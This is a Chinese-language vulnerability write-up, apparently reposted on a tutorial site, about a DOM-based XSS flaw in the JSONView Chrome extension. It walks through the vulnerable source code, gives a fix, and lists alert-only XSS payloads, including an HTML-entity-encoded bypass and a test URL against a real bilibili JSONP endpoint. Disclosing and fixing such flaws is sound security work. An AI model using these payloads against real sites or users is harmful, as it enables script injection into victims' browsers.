好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

明枪易躲暗箭难防–JSONView0day_html/css_WEB-ITnose

0x01 JSONView 介绍

我们可以看到由于 Reponse Headers 严格定义了 Content-Type 类型为 json 数据格式,所以尽管我成功注入了未转义标签代码,但仍然不会得到执行(ChromeView-source 模式下如果正常解析后是会有高亮标识的),JSONView 的故事也是从这个时候开始的。

0x03 Dom XSS Vulnerability

我们之前谈到过 JSONView 插件能够美化原本乱糟糟的 JSON 数据,就像这样:

在使用 JSONView 的过程中我发现它把数据提取进行了渲染,也就导致原本不存在的漏洞在这里得以重现!这里有一个前提,网站使用限制 Content-Type 类型对其的过滤而未过滤特殊字符。所以我们可以看到:

在之后的源码分析中得知是因为通过 DOM 插入数据,直接写入 script 是不加载资源的,所以我们可以使用很多方法来触发恶意代码:

1. <img src=@ onerror=alert(1)>
2. <body onload=alert(1)>
3. ... 

通过测试后发现,只要参数中包含 空格、圆括号,插件即使是在开启的情况下,也不会再对 JSON 结果进行数据解析,虽然在黑盒测试过程中我通过斜线等技巧实现了加载恶意代码,但还是要来看看这个插件究竟做了哪些处理。

0x04 源码分析

通过断点调试,寻找到 innerHTML 文件:/master/WebContent/content.js

function displayUI(theme, html) {
    var statusElement, toolboxElement, expandElement, reduceElement, viewSourceElement, optionsElement, content = "";
    content += '<link rel="stylesheet" type="text/css" href="' + chrome.runtime.getURL("jsonview-core.css") + '">';
    content += "<style>" + theme + "</style>";
    content += html;
    document.body.innerHTML = content;
    ....
}
    
function init(data) {
    port.onMessage.addListener(function(msg) {
        if (msg.oninit) {
            options = msg.options;
            processData(data);
        }
        if (msg.onjsonToHTML)
            if (msg.html) {
                displayUI(msg.theme, msg.html);
            } else if (msg.json)
                port.postMessage({
                    getError : true,
                    json : json,
                    fnName : fnName
                });
        if (msg.ongetError) {
            displayError(msg.error, msg.loc, msg.offset);
        }
    });
    port.postMessage({
        init : true
    });
} 

我们看到在 displayUI 函数中 innerHTML 的操作:document.body.innerHTML = content; ,下面来看一下 jsonToHTML 函数在入口文件 /JSONView-for-Chrome/blob/master/WebContent/background.js 中加载:

/master/WebContent/workerFormatter.js 提取核心部分代码:

function htmlEncode(t) {
    return t != null ? t.toString().replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;") : '';
}
    
function decorateWithSpan(value, className) {
    return '<span class="' + className + '">' + htmlEncode(value) + '</span>';
}
    
function jsonToHTML(json, fnName) {
    var output = '';
    if (fnName)
        output += '<div class="callback-function">' + fnName + '(</div>';
    output += '<div id="json">';
    output += valueToHTML(json);
    output += '</div>';
    if (fnName)
        output += '<div class="callback-function">)</div>';
    return output;
}
    
addEventListener("message", function(event) {
    var object;
    try {
        object = JSON.parse(event.data.json);
    } catch (e) {
        postMessage({
            error : true
        });
        return;
    }
    postMessage({
        onjsonToHTML : true,
        html : jsonToHTML(object, event.data.fnName)
    });
}, false); 

之后对 html : jsonToHTML(object, event.data.fnName) 其中的 event 下断点进行追踪,找到 fnName 的赋值代码 /master/WebContent/content.js:

function extractData(rawText) {
    var tokens, text = rawText.trim();
    
    function test(text) {
        return ((text.charAt(0) == "[" && text.charAt(text.length - 1) == "]") || (text.charAt(0) == "{" && text.charAt(text.length - 1) == "}"));
    }
    
    if (test(text))
        return {
            text : rawText,
            offset : 0
        };
    tokens = text.match(/^([^\s\(]*)\s*\(([\s\S]*)\)\s*;?$/);
    if (tokens && tokens[1] && tokens[2]) {
        if (test(tokens[2].trim()))
            return {
                fnName : tokens[1],
                text : tokens[2],
                offset : rawText.indexOf(tokens[2])
            };
    }
} 

在 extractData 函数中,我们找到了 fnName 的赋值,tokens 会根据正则获取需要解析的 fnName, text 等值,也就是这个正则导致我们是无法注入圆括号的,因为他被匹配到了 text 中:

0x05 执行测试代码

通过阅读正则,我们发现可以使用 URL编码(HTML 实体编码)+斜线等方式来注入代码并执行:

    1. <img/src='@'/onerror=alert(window.location)>
    2. <img/src='@'/onerror=alert(window.location)>
    3. <img/src='@'/onerror=%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E>
    4. http://api.bilibili.com/x/favourite/folder?callback=jQu11111%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E765386356466327_1461828974439&jsonp=jsonp&_=1461828995783 

通过几次变形,我们编写出最终的测试代码以弹出 window.location 地址,就这样原本过滤严谨的接口因为 JSONView 的问题而全面崩塌:

0x06 修复方案

使用 /master/WebContent/workerFormatter.js 文件中的 htmlEncode 函数进行过滤:

    function jsonToHTML(json, fnName) {
        var output = '';
        if (fnName)
            output += '<div class="callback-function">' + htmlEncode(fnName) + '(</div>';
        output += '<div id="json">';
        output += valueToHTML(json);
        output += '</div>';
        if (fnName)
            output += '<div class="callback-function">)</div>';
        return output;
    } 

0x07 VulnTimeline

查看更多关于明枪易躲暗箭难防–JSONView0day_html/css_WEB-ITnose的详细内容...

  阅读:35次